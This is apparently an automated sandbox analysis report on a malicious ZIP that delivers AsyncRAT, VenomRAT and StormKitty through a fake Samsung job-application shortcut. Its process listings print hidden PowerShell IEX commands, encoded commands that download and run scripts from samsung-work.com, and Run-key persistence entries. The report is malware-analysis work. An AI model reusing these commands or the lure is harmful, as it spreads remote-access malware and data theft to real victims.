Analysis Overview
SHA256
eb43edc52b7358dd993e2e6343ae4f59492e4b95651ed7877e17da1f5d214ba6
Threat Level: Known bad
The file eb43edc52b7358dd993e2e6343ae4f59492e4b95651ed7877e17da1f5d214ba6.ZIP was found to be: Known bad.
Malicious Activity Summary
StormKitty payload
AsyncRat
Asyncrat family
VenomRAT
Venomrat family
StormKitty
Stormkitty family
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Loads dropped DLL
Executes dropped EXE
Obfuscated Files or Information: Command Obfuscation
Adds Run key to start application
Drops file in System32 directory
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Checks processor information in registry
Modifies Internet Explorer settings
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-28 12:02
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-28 12:02
Reported
2024-11-28 12:05
Platform
win7-20240903-en
Max time kernel
121s
Max time network
121s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1680 wrote to memory of 856 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 1680 wrote to memory of 856 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 1680 wrote to memory of 856 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 856 wrote to memory of 1244 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 856 wrote to memory of 1244 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 856 wrote to memory of 1244 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Samsung_Job_Application_Document.pdf.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c PowerShell -WindowStyle Hidden -Command "IEX (Get-Content (Get-ChildItem -Path C:\ -Filter 'Samsungwork.bin' -Recurse -Force -ErrorAction SilentlyContinue | Select-Object -First 1).FullName -Raw)"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -WindowStyle Hidden -Command "IEX (Get-Content (Get-ChildItem -Path C:\ -Filter 'Samsungwork.bin' -Recurse -Force -ErrorAction SilentlyContinue | Select-Object -First 1).FullName -Raw)"
Network
Files
memory/1244-40-0x000007FEF628E000-0x000007FEF628F000-memory.dmp
memory/1244-41-0x000000001B610000-0x000000001B8F2000-memory.dmp
memory/1244-43-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/1244-42-0x0000000002890000-0x0000000002898000-memory.dmp
memory/1244-44-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/1244-46-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/1244-45-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/1244-47-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/1244-48-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/1244-49-0x000007FEF628E000-0x000007FEF628F000-memory.dmp
memory/1244-50-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/1244-51-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/1244-52-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/1244-53-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-28 12:02
Reported
2024-11-28 12:05
Platform
win10v2004-20241007-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
AsyncRat
Asyncrat family
StormKitty
StormKitty payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Stormkitty family
VenomRAT
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Venomrat family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\Downloads\EdgeServices\EdgeServices.exe | N/A |
| N/A | N/A | C:\Users\Public\Downloads\ChromeServices\ChromeServices.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\Downloads\EdgeServices\EdgeServices.exe | N/A |
| N/A | N/A | C:\Users\Public\Downloads\EdgeServices\EdgeServices.exe | N/A |
| N/A | N/A | C:\Users\Public\Downloads\EdgeServices\EdgeServices.exe | N/A |
| N/A | N/A | C:\Users\Public\Downloads\EdgeServices\EdgeServices.exe | N/A |
| N/A | N/A | C:\Users\Public\Downloads\EdgeServices\EdgeServices.exe | N/A |
| N/A | N/A | C:\Users\Public\Downloads\ChromeServices\ChromeServices.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeServices = "cmd.exe /C start \"\" /D \"C:\\Users\\Public\\Downloads\\EdgeServices\" \"C:\\Users\\Public\\Downloads\\EdgeServices\\EdgeServices.exe\"" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeServices = "cmd.exe /C start \"\" /D \"C:\\Users\\Public\\Downloads\\ChromeServices\" \"C:\\Users\\Public\\Downloads\\ChromeServices\\ChromeServices.exe\"" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Obfuscated Files or Information: Command Obfuscation
Suspicious use of SetThreadContext
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Samsung_Job_Application_Document.pdf.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c PowerShell -WindowStyle Hidden -Command "IEX (Get-Content (Get-ChildItem -Path C:\ -Filter 'Samsungwork.bin' -Recurse -Force -ErrorAction SilentlyContinue | Select-Object -First 1).FullName -Raw)"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -WindowStyle Hidden -Command "IEX (Get-Content (Get-ChildItem -Path C:\ -Filter 'Samsungwork.bin' -Recurse -Force -ErrorAction SilentlyContinue | Select-Object -First 1).FullName -Raw)"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand SQBFAFgAIAAoAGkAcgBtACAAJwBoAHQAdABwAHMAOgAvAC8AcwBhAG0AcwB1AG4AZwAtAHcAbwByAGsALgBjAG8AbQAvAHMAdABvAHIAYQBnAGUALwBTAGEAbQBzAHUAbgBnAF8AcABkAGYALgB0AHgAdAAnACkA
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\Samsung Application Document.pdf"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand SQBFAFgAIAAoAGkAcgBtACAAJwBoAHQAdABwAHMAOgAvAC8AcwBhAG0AcwB1AG4AZwAtAHcAbwByAGsALgBjAG8AbQAvAHMAdABvAHIAYQBnAGUALwBTAGEAbQBzAHUAbgBnAC4AdAB4AHQAJwApAA==
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=FFCB460DD0CDE3CB1B3309E611F45518 --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=DD066CE1FD3AE4126AD65A6F4A16569F --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=DD066CE1FD3AE4126AD65A6F4A16569F --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=058CF2370150BB08B7A37AD85861187D --mojo-platform-channel-handle=2316 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=003A9E9D84A1F14AD7CC66BE07B04187 --mojo-platform-channel-handle=2108 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=7034553F1E6030DCF02D448191AA42EF --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=7034553F1E6030DCF02D448191AA42EF --renderer-client-id=6 --mojo-platform-channel-handle=2492 --allow-no-sandbox-job /prefetch:1
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C0F8D61EE1BF693623EEE4845AEE70E6 --mojo-platform-channel-handle=2912 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
C:\Users\Public\Downloads\EdgeServices\EdgeServices.exe
"C:\Users\Public\Downloads\EdgeServices\EdgeServices.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand SQBFAFgAIAAoAGkAcgBtACAAJwBoAHQAdABwAHMAOgAvAC8AcwBhAG0AcwB1AG4AZwAtAHcAbwByAGsALgBjAG8AbQAvAHMAdABvAHIAYQBnAGUALwBTAGEAbQBzAHUAbgBnAHMAdAAuAHQAeAB0ACcAKQA=
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
C:\Users\Public\Downloads\ChromeServices\ChromeServices.exe
"C:\Users\Public\Downloads\ChromeServices\ChromeServices.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | samsung-work.com | udp |
| US | 104.26.15.111:443 | samsung-work.com | tcp |
| US | 104.26.15.111:443 | samsung-work.com | tcp |
| US | 8.8.8.8:53 | 111.15.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 104.26.15.111:443 | samsung-work.com | tcp |
| GB | 5.252.235.172:4449 | tcp | |
| US | 8.8.8.8:53 | 135.244.100.95.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.235.252.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.12.20.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.12.20.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.178.89.13.in-addr.arpa | udp |
Files
memory/4548-0-0x00007FF9CFB53000-0x00007FF9CFB55000-memory.dmp
memory/4548-1-0x000001DCCF8B0000-0x000001DCCF8D2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_044qamhp.n0p.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4548-11-0x00007FF9CFB50000-0x00007FF9D0611000-memory.dmp
memory/4548-12-0x00007FF9CFB50000-0x00007FF9D0611000-memory.dmp
memory/4176-22-0x000001AD780B0000-0x000001AD78272000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 56c43715e0e7fa58012d8a5769d8d568 |
| SHA1 | 4370ca3436f2e3a95b47a728503a2c22a5a5fa39 |
| SHA256 | 8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5 |
| SHA512 | b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 9399ddf7936e2c8c37469cb992f13cac |
| SHA1 | 6059d9461ba5d18dc021bc28763cfa19ae229ba8 |
| SHA256 | 238533bba2b42ec24fd9eaacda5f3129d38612ddbce720111f7ed0d2ce0efd3f |
| SHA512 | c1ca5ced8fd9f80ceb87427fcf43f06a752ca8a53385b4d9fa3e5ad111ac4c260cd7f45cf613da23dd716f091895fcee59e8a115515897dfa19ff01435cacf9b |
C:\Users\Admin\Downloads\Samsung Application Document.pdf
| MD5 | 6ad6f2d87f840933f4aa223ebe9e07bf |
